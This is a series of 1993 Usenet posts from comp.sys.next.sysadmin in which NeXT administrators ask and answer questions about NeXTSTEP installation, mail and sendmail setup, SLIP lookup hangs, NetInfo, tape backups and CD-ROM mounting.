From: pkron@corona.com (Peter Kron) Newsgroups: comp.sys.next.sysadmin Subject: NS/I install by ethernet? Message-ID: <107.UUL1.3#16216@corona.com> Date: Tue, 22 Jun 93 15:19:12 PDT Organization: Corona Design, Inc., Seattle, WA Has anyone tried to install NS/I via ethernet after installing an initial system from the CD-ROM? If so, what was your experience? Thanks --------------- Peter Kron P.O. Box 51022 Corona Design, Inc. Seattle, WA 98115-1022 Peter_Kron@corona.com
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Compacting Maiboxes In-Reply-To: CCMAHTAJ@mizzou1.missouri.edu's message of Tue, 22 Jun 93 09:38:38 CDT To: CCMAHTAJ@mizzou1.missouri.edu Message-ID: <CEDMAN.93Jun22112216@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <16BF5879E.CCMAHTAJ@mizzou1.missouri.edu> Date: Tue, 22 Jun 1993 15:22:15 GMT In article <16BF5879E.CCMAHTAJ@mizzou1.missouri.edu> CCMAHTAJ@mizzou1.missouri.edu writes: I am trying to find a way to compact mailboxes of NeXT users on a regular basis (i.e., daily, weekly, or maybe upon logoff). I appreciate any and all help you can provide. Nathan, could you please make this a FAQ ? Q: Is there a way to add mail to Mail.app mailboxes from the command line ? Can I have incoming mail sorted into particular mailboxes automatically depending on the sender or subject ? Is it possible to open a Mail.app deliver window from the command line ? How do I compact a Mail.app mailbox from the command line ? A: Get the Mail.app utilities via anon ftp from nova.cc.purdue.edu:/pub/next/3.0/src/mailapp-utilities1.1.tar.Z or cs.orst.edu:/pub/next/binaries/comm/mailapp-utilities-1.1.tar.z. Appnmail(1) allows you append NeXT mail to Mail.app mailboxes. In conjunction with one of the publicly available mail sorters like procmail, it can automatically sort all your incoming mail. Nextmail(1) allows you to send mail through Mail.app from the command line. Compactmail(1) will compact a Mail.app mailbox. Carl Edman
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: Password aging Message-ID: <1993Jun21.115337.1052@gamelan> Sender: thomas@gamelan (thomas) Organization: Disorganization References: <1993Jun20.142431.1379@urz.unibas.ch> Date: Mon, 21 Jun 1993 11:53:37 GMT In article <1993Jun20.142431.1379@urz.unibas.ch> writes: > > Afraid not. Hopefully, when/if they support aging, they support > > shadow > > passwords as well. > > Can only mean you are not running netinfo. With netinfo, all > information is hidden anyway and you can, if you want to, restrict > nidump to root only. > > The /etc/passwd file is meanginless with netinfo running. > A real hacker doesn't dump the passwd file, but uses getpwent () to find the interesting things on his system. For this, NeXT really needs shadow-passwords as it is common now in industry, -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de The nice thing about standards is that there are so many of them to choose from. -- Andrew S. Tanenbaum
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.Stanford.EDU (Matt Rollefson) Subject: Re: NeXT as mail gateway Message-ID: <1993Jun22.180755.9908@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Stanford University References: <204f5r$soi@umd5.umd.edu> Date: Tue, 22 Jun 93 18:07:55 GMT In comp.sys.next.sysadmin matthews@is-next.umd.edu (Mike Matthews) writes: >For some reason, the NeXT is sending all its mail to uu2.psi.com, even though >that's been commented out as a mail relay host in my sendmail.cf file. You might try checking in netinfo; NeXT stores some information in NetInfo about where your sendmail.cf file is, so you may not be using the sendmail.cf that you think you are. Check out /locations/sendmail in all of the NetInfo domains that your client machines inherit from; make sure that the sendmail.cf property points to the sendmail.cf file that you actually want to use. (I bet that right now it's pointing to sendmail.sharedsubisdiary.cf; we had a problem like this...) Good luck! Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
Newsgroups: comp.sys.next.sysadmin From: ian@its.com Subject: NeXT color printer - what kind of paper/cartridges Message-ID: <1993Jun22.155140.4756@its.com> Sender: ian@its.com (Ian Gibbs) Organization: Information Technology Solutions Date: Tue, 22 Jun 1993 15:51:40 GMT Greetings, What kind of paper and ink does the NeXT color printer use? The manual that comes with it just says "see your NeXT dealer". Are there other sources for these supplies? (Is the paper just common ordinary RC paper? What about the ink cartridges?) Many thanks in advance for you help, Ian Gibbs P.S. Yes, I know that I CAN use normal "printer" paper, but the manual recommends a "coated paper". This is the stuff I'm after. -- Ian Gibbs ian@its.com Information Technology Solutions NeXT/NEXTSTEP Consulting -- Ian Gibbs ian@its.com Information Technology Solutions NeXT/NEXTSTEP Consulting
Newsgroups: comp.sys.next.sysadmin From: anderson (Ken Anderson) Subject: Re: Getting Mail on NeXT in mixed environment Message-ID: <1993Jun22.182219.17416@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <C8zz37.DuB@sybase.com> Date: Tue, 22 Jun 1993 18:22:19 GMT In article <C8zz37.DuB@sybase.com> brill@sybase.com (Michael Brill) writes: >I'm 90% complete with hooking up a NS-endowed PC to a mixed network of >Unix machines. I've got everything working except the ability to read mail. > >I already have a mail account on a server and I'd like to be able to use >that account to get/send NeXT mail. I tried following the directions in >the NeXT documentation - but couldn't make much sense of it. Could >someone who has fought this battle before be so kind as to drop me an >email and point me in the right direction? > >Thanks, ...Michael Brill Michael, There are a couple of things you need to do to make your mail work. First off, you need to NFS mount your spool directory somewhere on your NeXT. You can mount it as /usr/spool/mail (in which case, command line mail tools will work), or you can mount it anywhere you please and change your preferences in Mail.app to reflect where that directory is mounted (spool dir field in the Expert pull-down in preferences). As long as your user ID's (text name as well as UID) are equivalent on both systems, reading mail should be fine. To send mail, you should change the link called sendmail.cf in /etc/sendmail to link to sendmail.sharedsubsidiary.cf. cd /etc/sendmail rm sendmail.cf ln -s sendmail.sharedsubsidiary.cf sendmail.cf Last, but certainly not least, make sure you can ping the major relay mailhost as 'mailhost'. This is the default name in the sendmail file. You can add 'mailhost' as a second name in netinfo, (use the real hostname as the main name), or you can just add it separately as a new host. If you can now type /etc/ping mailhost, and get a response, you SHOULD be able to send mail from your NeXT as well. Good luck! If you have any trouble, drop me e-mail. Ken Anderson anderson@biztech.com Stamford, CT
Newsgroups: comp.sys.next.sysadmin From: thor@sushi.uib.no Subject: Re: Things that get stuck when SLIP is active Message-ID: <1993Jun22.210325.1145@alf.uib.no> Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway References: <1993Jun21.164314.1224@prim> Date: Tue, 22 Jun 93 21:03:25 GMT In article <1993Jun21.164314.1224@prim> dave@prim.demon.co.uk (Dave Griffiths) writes: > > Does anyone know why certain commands (eg "su", or launching a new shell) > sometimes hang for long periods of time when a SLIP connection is active? Is > there anyway to prevent this frrom happening? > > Thanks, > > Dave Griffiths 2 possibilities: 1) Your /etc/hosts is probably wrong. Remove any comments, and ensure that ONLY the authorized domain servers are listed. Otherwise your local host spins around trying to get an answer from a server that doesn't exist or respond... Check that your domain name is correct. Use IP addresses. 2) check to see that you haven't configured the en0 inbterface with the same number as the slip0 one. I did this once - eveything slowed to a crawl. (BTW - I'm on a SLIP line right now - it works fine, but I did have the same problem you describe). Use netstat or NetInfoManager. Regards, -- Thor Legvold | "This is the strangest life NorNeXT User Group leader | I've ever known..." University of Bergen | -Jim Morrison, The Doors NORWAY | edmtl@edb.uib.no doesn't exist or respond... Check that your domain name is correct. Use IP addresses. 2) check to see that you haven't configure
Newsgroups: comp.sys.next.sysadmin From: thor@sushi.uib.no Subject: Re: SLIP over telnet/rlogin *** can it be done ??? *** Message-ID: <1993Jun22.210459.1221@alf.uib.no> Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway References: <JNICOLAS.93Jun22103034@image.mit.edu> Date: Tue, 22 Jun 93 21:04:59 GMT In article <JNICOLAS.93Jun22103034@image.mit.edu> jnicolas@image.mit.edu (Julien Nicolas) writes: > > Here is the scenario: From my home I dial in via a modem to a terminal > server. From the terminal server I rlogin/telnet to a DecStation at the > university. The DecStation is configured with 2 SLIP interfaces. > > 1) Can a SLIP session be run over the telnet session? Has anyone managed > to use Louis Mamakos DIALUPIP in such a configuration? If so, how. > > 2) Is than example of "tunneling"? > > 3) Is PPP in any way more appropriate for this type of application where > the machine with the serial lines is not the one running the IP > encapsulation? > > Thanks in advance for any leads, help etc. Feel free to post or email > me. I will summarize. > > Julien > jnicolas@mit.edu PPP wil do this. SLIP should - but you need a TRANSPERENT way to transfer signals from your login machine to the SLIP server. Let me know if you need more info/help. Regards, -- Thor Legvold | "This is the strangest life NorNeXT User Group leader | I've ever known..." University of Bergen | -Jim Morrison, The Doors NORWAY | edmtl@edb.uib.no
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Emulex NETJet for HP LaserJet4 with NeXT, anyone? Date: 22 Jun 1993 21:44:52 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <207ugk$dup@agate.berkeley.edu> Emulex sells a modular I/O card that turns a HP LaserJet4 (600dpi) into a network printer that directly accepts print jobs via lpr/lpd protocol over ethernet. This sounds like a great solution to stop suffering from dismal serial feed into HPLJ4 from NeXT (black). Has anyone tried this with NeXT? I am about to order it, and wanted to find out if anyone is actually using it and happy with it. List price is $529, and product number for the lpd (only) configuration is: NJ01-T [-T for TCP/IP]. 1-800-EMULEX3 for more info from Emulex. I have no relationship with Emulex, but am hoping to become a happy customer. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin From: fo6r@ellis.uchicago.edu (Eric's NeXT Fortune) Subject: No sound/record after upgrade 3.0 > 3.1 (Help!) Message-ID: <1993Jun23.222409.10406@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: University of Chicago Computing Organizations Distribution: na Date: Wed, 23 Jun 1993 22:24:09 GMT After Upgrading my mono/slab/non-adb to 3.1 the machine no longer plays or records sounds. I have sent a messgae to bug_next@next.com, but I'd like to get sound back as soon as possible. Any help would be greatly appreciated. ----------------------------------Information During the boot, the message sound0 at 0x200e000 appears. Normal... If I try to play a sound using the Workspace Inspector, this appears in the Console: Jun 23 16:25:26 Workspace[183]: Cannot play sound! Nothing happens when I try to record. However, in MonsterScope when I use the CODEC I get the error: Codec recording error #31 sndplay in a shell does the following; evolution:!# sndplay DoesNotCompute.snd sndplay : Cannot play soundfile : DoesNotCompute.snd Lastly, in Preferences.app, The Slider for sound level is light grey, and cannot be moved using the mouse. The Mute button is not functional. The slider can be moved by hitting the sound buttons on the keyboard. Help Help Help.... - eric fortune fo6r@midway.uchicago.edu NeXTmail accepted but not preferred
Newsgroups: comp.sys.next.sysadmin From: harryt@world.std.com (Harry D Tirrell) Subject: Banner Page Message-ID: <C93pI7.4no@world.std.com> Organization: The World Public Access UNIX, Brookline, MA Date: Thu, 24 Jun 1993 01:01:18 GMT Could some kind soul tell me how to turn on the banner page for the NeXT local printer? thanks harry -- --------------------------------------------------------------------------- harryt@world.std.com All comments are my own and tirrellh@novavax.nova.edu bare no relationship to any
Newsgroups: comp.sys.next.sysadmin From: louie@TransSys.COM (Louis A. Mamakos) Subject: Re: Things that get stuck when SLIP is active Message-ID: <20b1vq$4h1@wa3ymh.transsys.com> Sender: usenet@grebyn.com Organization: TransSys, Inc. References: <1993Jun21.164314.1224@prim> <1993Jun22.210325.1145@alf.uib.no> <1993Jun23.183119.13535@news.uiowa.edu> Date: Thu, 24 Jun 1993 02:02:34 GMT >>> Does anyone know why certain commands (eg "su", or launching a new shell) >>> sometimes hang for long periods of time when a SLIP connection is active? Is >>> there anyway to prevent this frrom happening? This problem occurs because /usr/etc/lookupd, which services requests for information about host names, user names, etc. in NetInfo processes requests synchronously. That is, while its busy trying to lookup some internet host name, the request from some other process to fetch the password file entry for "root" is not processed. If you are using the DNS to resolve host names (because you have a /etc/resolv.conf file), then it may take quite a while for the resolver to give up. All this time, other requests are piling up for /usr/etc/lookupd to process. [Actually there is a bug in lookupd in this case; it incorrectly caches the temporary failure (can't lookup name) as a "Name doesn't exist" error.] > I have this problem when SLIP goes down. Sometimes (but not always) when >my modem hangs up while characters are in the send queue, I cannot su to >root to kill the tcldiald process. After a while, say 1-3 minutes, slip >figures out that the modem is no longer connected and redials. Is this >a common problem with this version of SLIP, or have I missed something in >my configuration? I have the correct cable, and I think my modem is correctly >sending the CD signal. The tcldiald process has to poll the state of the DCD signal, since no hangup signals are generated when you use the /dev/cufa device. This polling only occurs once per minute. Perhaps this explains what you are seeing? -- Louis A. Mamakos TransSys, Inc.
From: wmorse@erasure_sl.cc.emory.edu (William Morse) Newsgroups: comp.sys.next.sysadmin Subject: Re: Things that get stuck when SLIP is active Date: 24 Jun 1993 02:43:03 GMT Organization: Emory University, Dept of Math and CS Message-ID: <20b4bnINNqp7@emory.mathcs.emory.edu> References: <20b1vq$4h1@wa3ymh.transsys.com> In article <20b1vq$4h1@wa3ymh.transsys.com> louie@TransSys.COM (Louis A. Mamakos) writes: > This problem occurs because /usr/etc/lookupd, which services requests > for information about host names, user names, etc. in NetInfo processes > requests synchronously. That is, while its busy trying to lookup some > internet host name, the request from some other process to fetch the > password file entry for "root" is not processed. > > If you are using the DNS to resolve host names (because you have a > /etc/resolv.conf file), then it may take quite a while for the > resolver to give up. All this time, other requests are piling up for > /usr/etc/lookupd to process. [Actually there is a bug in lookupd in > this case; it incorrectly caches the temporary failure (can't lookup > name) as a "Name doesn't exist" error.] > -------------------------------------------------------------------------- So, now... for the million dollar question: What can we do to help the problem? Call NeXT to ask for a fix? :) Is there an adjustment we can make? etc. Actually, I have found one thing that *helps* ---> turn off cslip. It helped here for me at Emory... Why it did, I do not know. William Consult. / ITD ::::::::::::::::::::::::::::::::::::::::: Emory Law Student
Newsgroups: comp.sys.next.sysadmin From: ian_stewart@pyrian.com (Ian H. Stewart) Subject: Modem strings for UUCp connections Message-ID: <C93yMp.FI@pyrian.com> Sender: ian@pyrian.com (Ian H. Stewart) Organization: Pharaoh Computer, Inc. Date: Thu, 24 Jun 1993 04:18:25 GMT I am using netcom and and want to use a T3000 modem. What is the modem string I need to use? If you have any other modem strings for netcomor psi, I would appreciate you semding them also. Thanks in advance, ian NeXTMail preferred!
From: js@c91024 (Juergen Sell) Newsgroups: comp.sys.next.sysadmin Subject: Re: Mail images Date: 18 Jun 1993 13:27:41 GMT Organization: ICEM Systems Message-ID: <1vsfsd$cah@balu.hnv.icem.de> References: <1993Jun17.205555.1486@cesar.uucp> : I am a UUCP site dialing-out to my news/mail feed. : Please send replys directly to my account. me too, please. __ _ Juergen Sell E-Mail juergen.sell@icem.de | (_ Icem Systems ( NextMail welcome ) ,| _) Deisterstr. 18 Phone +49-511-440688 /_| BRD 3000 Hannover 91 Fax +49-511-440617
Newsgroups: comp.sys.next.sysadmin From: stez@sel.sub.org (Johannes Stezenbach) Subject: NS3.1PR1 CD-ROM Problems Message-ID: <1993Jun23.111106.1217@sel.sub.org> Keywords: CD-ROM Sender: news@sel.sub.org Organization: ALCATEL SEL LP/STA Date: Wed, 23 Jun 1993 11:11:06 GMT After upgrading one of our NeXTstations to NeXTStep3.1PR1, reading CD-ROMs with a CD-ROM filesystem (mount -t cfs) sometime fails. The NeXT supplied CD-ROMs use a type 4.3 filesystem and seem to work ok, so I think maybe it's a bug in the loadable CD-ROM filesystem (/usr/filesystems/CDROM.fs). Trying to read cfs type CD-ROMs results in the following errors: After inserting and mounting a new CD-ROM, everything first seems to be ok until after a while "file not found" messages are printed in response to 'ls' commands in a shell window, and the Workspace displays it's "unknown file" icon for some files. After a little more time finally the whole CD-ROM becomes unreadable. Ejecting and reinserting the CD-ROM makes it readable again. I would like to know if other users have the same problems and if it is fixed in the final NS3.1 release. I include output from some shell commands to help you identify the problem: next> /etc/mount /dev/rsd1h on /NOVA type cfs (ro,removable,filesystem=CDROM) .. next_7> ls -lR /NOVA >/tmp/NOVA /NOVA/Apps/ArchiveUtils/DATer/Makefile not found .. Console output when inserting the CD-ROM: Disk is Write Protected probing for CDROM Jun 23 11:40:09 Workspace: Mounted scsi disk at /NOVA We use a NeXT CD-ROM drive (SONY CD-ROM CDU-541 Rev 2.6a as sd1 at sc0 target 4 lun 0) We made a full installation from scratch.
From: gary@esl.com (Gary Merrick) Newsgroups: comp.sys.next.sysadmin Subject: NetInfo Manager wierdness -- HELP! Message-ID: <2139@esl.ESL.COM> Date: 24 Jun 93 08:44:59 GMT Sender: news@esl.ESL.COM Organization: ESL Our NetInfo server decided not to work today, and we haven't been able to discover why. Maybe you can help... Basically, when a client on the network boots up, it receives it's own hostname, IP address, and modified subnet mask from the NetInfo server as it always has. However, that's about as far as it gets. The system then hangs and complains about not being able to connect to the NetInfo server (and type "c" to bring it up without NetInfo, etc.). <sigh> Anybody got any ideas? -- =============================================================== | Gary Merrick System/Network Admin from Hell | | ESL, Inc. gary@esl.com | | Sunnyvale, CA | | | | "You can twist perceptions, reality won't budge." -N. Peart | ===============================================================
From: ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach) Newsgroups: comp.sys.next.sysadmin Subject: how to change mss? Message-ID: <ti6ls.740909475@tuhhco> Date: 24 Jun 93 08:11:15 GMT Sender: usenet@rztsun.rz.tu-harburg.de Hi, there! We have problems getting data out of our subnet, because the (cheap) gateway cannot handle the 4096 bytes mss of our NeXTs. I'd like to set a much lower value like 576. How can this be done? Regards, Ludger. *** solbach@tu-harburg.dbp.de
Newsgroups: comp.sys.next.sysadmin From: robertn@penny (Robert Nicholson) Subject: Wierd problems in server environment. Distribution: world Cc: ask_next@next.com Date: Thu, 24 Jun 1993 09:58:13 +0000 Message-ID: <9306240939.AA06369@penny.demon.co.uk> Sender: usenet@demon.co.uk Here's a couple of interesting problems you will enjoy. We have a network in which DL refuses to search on one machine only (For all users using this machine). This is only the Next documentation that it will not search on. I can search on a bookshelf from /LocalLibrary with no problems. The other problem we have is that RTFD information doesn't display in NextDocumentation only on any machine under any user! Specifically, we don't see any tiff/eps objects displayed in the text object. We only get NextGraphic icons which when clicked display the approriate file separately. This is our NFS export config nidump exports /marketing/penny /usr/spool/mail -root=penny /LocalApps -root=penny /Ext1 -root=penny /LocalLibrary /NextApps /NextLibrary /NextDeveloper /NextAdmin /Derms
Newsgroups: comp.sys.next.sysadmin From: joe@FreemanSoft.com (Joe Freeman) Subject: Programatic way to eject WangDAT Message-ID: <1993Jun24.033300.4294@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. Distribution: usa Date: Thu, 24 Jun 1993 03:33:00 GMT I've been trying to figure out a way to get my WangDAT to eject programaticly. I set the switch that tells it to unload on rewind with no effect. Does anyone know of a program or method that will eject a DAT tape? -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
From: lliou@sdcc3.ucsd.edu (Lily Liou ) Newsgroups: comp.sys.next.sysadmin Subject: 525MB tape backups to multiple tapes Message-ID: <51182@sdcc12.ucsd.edu> Date: 24 Jun 93 10:04:50 GMT Sender: news@sdcc12.ucsd.edu Organization: University of California, San Diego Has anyone come across this problem which is causing me some serious distress in trying to back up my black system... (preferably, has anyone come across the solution to this problem :-), but any help or insight would be appreciated!) I have a [full] one GB hard disk, which I need to do a level 0 backup of. The backup device I purchased (some time ago) is a QIC(1/4 inch cartridge) 525MB tape drive (Wangtek). One incompatibility between the tape drive and the black NeXT has something to do with block size on the tapes. This problem can be fixed (temporarily) with a IOCTL call to do something to the SCSI information in the tape drive. We use a version of setmtd, which works well. So what's the problem? Well, the first tape we insert (after performing setmtd) is written to in such a way that 525MB goes on. However, the tape backup needs a second tape. The second tape however, only fits 262 MB, although it takes the same amount of time (45min) to completely stream through as the first tape took. (Is it filling half the tape with zeroes maybe?). Well, even this would be tolerable (using 3 tapes instead of 2) except that the Dump command figures out when to stop using a 'tape length' number you told it. This tape length is in units not of feet (as you would suppose) but is related to the amount of data you expect to offload. So since only half of the 525MB has been offloaded at 45min (and EOT), the drive suddenly finds an unexpected EOT, and the Dump crashes. The backup doesn't always behave this way. Sometimes even the first tape is being written to at the lower density despite exactly the same sequence of commands prior to start of Dump. What we've found to work for initiating tapes to be written at the higher density is to write to it (Dump) from a 230 MB hard disk. Unfortunately this does not cure the 'second tape' in the sequence. (We tried initiating all our tapes by mock Dumps from the smaller drive). Can anyone figure out why removing a tape cassette from the drive causes this sort of change? Is there something I can do to fix it (some IOCTL call or magic spell) so that all tapes are written to at the same density? Or am I stuck having to use 4 tapes at $35/ea to back up my hard drive? Oh yes, the setmtd fixes things so that the tape streams. Any and all help appreciated. Thanks in advance. -Lily Lily Liou lliou@sdcc3.ucsd.edu Could this have anything to do with the disk drive having 512byte sectors?
From: lliou@sdcc3.ucsd.edu (Lily Liou ) Newsgroups: comp.sys.next.sysadmin Subject: Re: 525MB tape backups to multiple tapes Message-ID: <51183@sdcc12.ucsd.edu> Date: 24 Jun 93 10:09:23 GMT References: <51182@sdcc12.ucsd.edu> Sender: news@sdcc12.ucsd.edu Organization: University of California, San Diego I forgot to mention that all the tapes I use are the 525MB tapes, and are all physically the same. -Lily lliou@sdcc3.ucsd.edu
From: med@D012S648.zfe.siemens.de (T.Hoellrich) Newsgroups: comp.sys.next.sysadmin Subject: ppp & named & yp Date: 24 Jun 1993 19:09:36 GMT Organization: Siemens Nixdorf Informationssysteme AG Distribution: world Message-ID: <MED.93Jun24130936@D012S648.zfe.siemens.de> Hi comp.sys.next.sysadmin! I have just configured my NeXTStation to connect via ppp (0.3) to the muc.de domain here in Munich (works perfect!). My problem: I want to use the NameServer installed on the host I am connecting to. Therefore I configured my local host as the yp-server (/etc/yp/ypinit -m) and set the domainname to 'muc.de'. I also changed named.boot to startup named in slave mode and installed the host I am connecting to (where the NameServer-Process is running) as 'forwarder'. I changed /etc/rc to start named after nibindd. Now, when I boot all I get is 'ypserver for domain muc.de not answering; still trying' I have to interrupt the boot process and boot in single user mode. What am I doing wrong? What else to change to make ypserv recognize that my local host is the yp-server? Hope somebody else had already this problem. Bye Tobias -- ---------------------------------------------------------------------- ____/| Tobias Hoellrich, Nietzschestr.26, W-8000 Muenchen 40, Germany \ o.O| phone: +49-89-359 03 54 =(_)= email: med@d012s648.zfe.siemens.de U NeXTMail: tobias@nextix.muc.de
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: thompson@netcom.com (Eric Thompson) Subject: How to get Icon for .gz or .tar.gz files (for Opener)? Message-ID: <thompsonC9251I.L15@netcom.com> Followup-To: comp.sys.next.sysadmin Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Wed, 23 Jun 1993 04:41:41 GMT I want to be able to double-click .gz and .tar.gz files and have them to go Opener. Right now they have an Edit icon and go to Edit. I have edited the Opener table to include .tar.gz and .gz, and I can drag files to Opener to have it open them correctly, but I would like them th have an icon and be able to double-click them. Any pointers? Thank you... Eric
From: bu934@cleveland.Freenet.Edu (Richard Bisbey II) Newsgroups: comp.sys.next.sysadmin Subject: Installing NS 3.1 from scratch on a cube Date: 23 Jun 1993 05:48:46 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <208qru$iji@usenet.INS.CWRU.Edu> I received my NEXTSTEP 3.1 User CDROM, and decided to install it (while waiting for the Developer CDROM) on my cube and a spare Fujitsu drive: Jun 22 21:49:39 loretta mach: FUJITSU M2263S-512 as sd0 at sc0 target 2 lun 0 Jun 22 21:49:39 loretta mach: Disk Label: Fujitsu-2 Jun 22 21:49:39 loretta mach: Disk Capacity 640MB, Device Block 512 bytes The drive already had NS 3.0 on it. I also decided to install NEXTSTEP from scratch (having been burned previously by upgrade procedures). I booted up: bsd()sdmach rootdev=sd1 and went through the dialog: THIS IS NOT AN UPGRADE... yup, I know Initialize (erase) disk... yup Choose drive... sd0a Do you *really* want to do it? you bet Initializing hard disk... after which I get: ioctl(DKIOCBLKSIZ): Invalid argument FUJITSU M2263S-512: Unknown diskname followed by: I can't do it babe, hit return to power this sucker off. (Well, that wasn't really the message, but that's what it said to me... :-) So what does one have to do to build a 3.1 disk from scratch? Don't tell me, let me guess: Build NS 3.1 on an optical (I've already got NS 3.0 on optical), then use the BuildDisk app and the optical to build the Fujitsu? I hope not! Richard bisbey@loretta.la.ca.us
From: foster@seismo.CSS.GOV (Glen Foster) Newsgroups: comp.sys.next.sysadmin Subject: Re: Getting Mail on NeXT in mixed environment Date: 23 Jun 1993 12:00:49 GMT Organization: Center for Seismic Studies, Arlington, VA Message-ID: <209glh$is3@seismo.CSS.GOV> References: <C8zz37.DuB@sybase.com> <1993Jun22.182219.17416@biztech.com> The exported /usr/spool/mail directory has to be exported with root access enabled for NeXT mail attachments to be decoded as expected (at least that was the way it was in 2.1, maybe not any more). -- Glen Foster foster@css.gov
From: jburke@bodacious.csc.wsu.edu (John L. Burke) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: Mounting CD-ROM, LoginWindow problem Message-ID: <1993Jun23.160734.15541@serval.net.wsu.edu> Date: 23 Jun 93 16:07:34 GMT Article-I.D.: serval.1993Jun23.160734.15541 Sender: news@serval.net.wsu.edu (USENET News System) Organization: Washington State University Ok, I have two different problems going on here. Here goes. 1. I am trying to mount the CD-ROM device, and I can't seem to get the mount command right. I have tried the following: /etc/mount /dev/sd2h /CDROM /etc/mount -t cfs /dev/sd2h /CDROM and various other permutations. What should the proper command be? 2. My NeXT Cube died the other day. I tried to reboot it and it comes up with numerous messages such as the following: Jun 22 17:14:43 bongo loginwindow[146]: loginwindow: could not find WindowServer port! Jun 22 17:15:29 bongo loginwindow[158]: loginwindow: could not find WindowServer port! Jun 22 17:16:16 bongo loginwindow[162]: loginwindow: could not find WindowServer port! What happened? Did a file get corrupted? The /usr/adm/messages file gives the message that the reboot is complete, but then it never clears the monitor screen and gives me the login window. What should I do? Thanks for any help anyone can give. -- ********************************************************************* * John Burke * jburke@bodacious.csc.wsu.edu * * Washington State University * NeXTStation Mono * * Systems & Computing * NeXTMail Welcome! * *********************************************************************
From: kevin@american.edu (Kevin Cruz) Newsgroups: comp.sys.next.sysadmin Subject: Re: /etc/fstab vs NETINFO question - help is needed Date: 23 Jun 1993 17:25:07 GMT Organization: The American University Computing Center Message-ID: <20a3ljINNnl9@au-ns.american.edu> References: <1vr0en$e2o@gaia.ucs.orst.edu> Tim Pugh writes -> -> To load /etc/fstab entries into netinfo from the command line, type: -> -> mymachine> niload fstab / < /etc/fstab -> -> This says to read NFS mounts from /etc/fstab and place them into netinfo's mount database -> for the root domain, "/", where it will be available for all NeXT machines using this -> network's NetInfo database. -> You might also want to try using that with the -d option which deletes older entries to the netinfo database. mymachine> niload -d fstab / < /etc/fstab This should be a better way to do it. --Kevin --------------------------------------------------------------------- Kevin Cruz E-mail: kevin@american.edu Computer Science Dept. Phone: (202) 885-2767 The American University Washington, D.C. "I think Rodney King said it best when he said, 'Ow, ow, ow, racism sucks!'" -- Denis Leary --------------------------------------------------------------------- -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!/<'1I;6$[?0I<;6%R9VPQ M,C`*7&UA<F=R,3(P"EQP87)D7'1X-3,S7'1X,3`V-UQT>#$V,#%<='@R,3,U M7'1X,C8V.%QT>#,R,#)<='@S-S,V7'1X-#(W,%QT>#0X,#-<='@U,S,W7&8P M7&(P7&DP7'5L;F]N95QF<S(T7&9C,%QC9C`@5&EM(%!U9V@@=W)I=&5S7`HM M/B!<"BT^(%1O(&QO860@+V5T8R]F<W1A8B!E;G1R:65S(&EN=&\@;F5T:6YF M;R!F<F]M('1H92!C;VUM86YD(&QI;F4L('1Y<&4Z7`HM/B!<"BT^(&UY;6%C M:&EN93X@(&YI;&]A9"!F<W1A8B`O(#P@+V5T8R]F<W1A8EP*+3X@7`HM/B!4 M:&ES('-A>7,@=&\@<F5A9"!.1E,@;6]U;G1S(&9R;VT@+V5T8R]F<W1A8B!A M;F0@<&QA8V4@=&AE;2!I;G1O(&YE=&EN9F\G<R!M;W5N="!D871A8F%S92`@ M7`HM/B!F;W(@=&AE(')O;W0@9&]M86EN+"`B+R(L('=H97)E(&ET('=I;&P@ M8F4@879A:6QA8FQE(&9O<B!A;&P@3F585"!M86-H:6YE<R!U<VEN9R!T:&ES M("!<"BT^(&YE='=O<FLG<R!.971);F9O(&1A=&%B87-E+EP*+3X@7`I<"EEO M=2!M:6=H="!A;'-O('=A;G0@=&\@=')Y('5S:6YG('1H870@=VET:"!T:&4@ M+60@;W!T:6]N('=H:6-H(&1E;&5T97,@;VQD97(@96YT<FEE<R!T;R!T:&4@ M;F5T:6YF;R!D871A8F%S92Y<"EP*"EQP87)D7'1X-3(P7'1X,3`V,%QT>#$V M,#!<='@R,3(P7'1X,C8V,%QT>#,R,#!<='@S-S(P7'1X-#(V,%QT>#0X,#!< M='@U,S(P7&9C,%QC9C`@;7EM86-H:6YE/B`@;FEL;V%D("UD(&9S=&%B("\@ M/"`O971C+V9S=&%B"EQP87)D7'1X-3,S7'1X,3`V-UQT>#$V,#%<='@R,3,U M7'1X,C8V.%QT>#,R,#)<='@S-S,V7'1X-#(W,%QT>#0X,#-<='@U,S,W7&9C M,%QC9C`@7`I<"E1H:7,@<VAO=6QD(&)E(&$@8F5T=&5R('=A>2!T;R!D;R!I M="Y<"EP*+2U+979I;@I<"BTM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+5P*2V5V 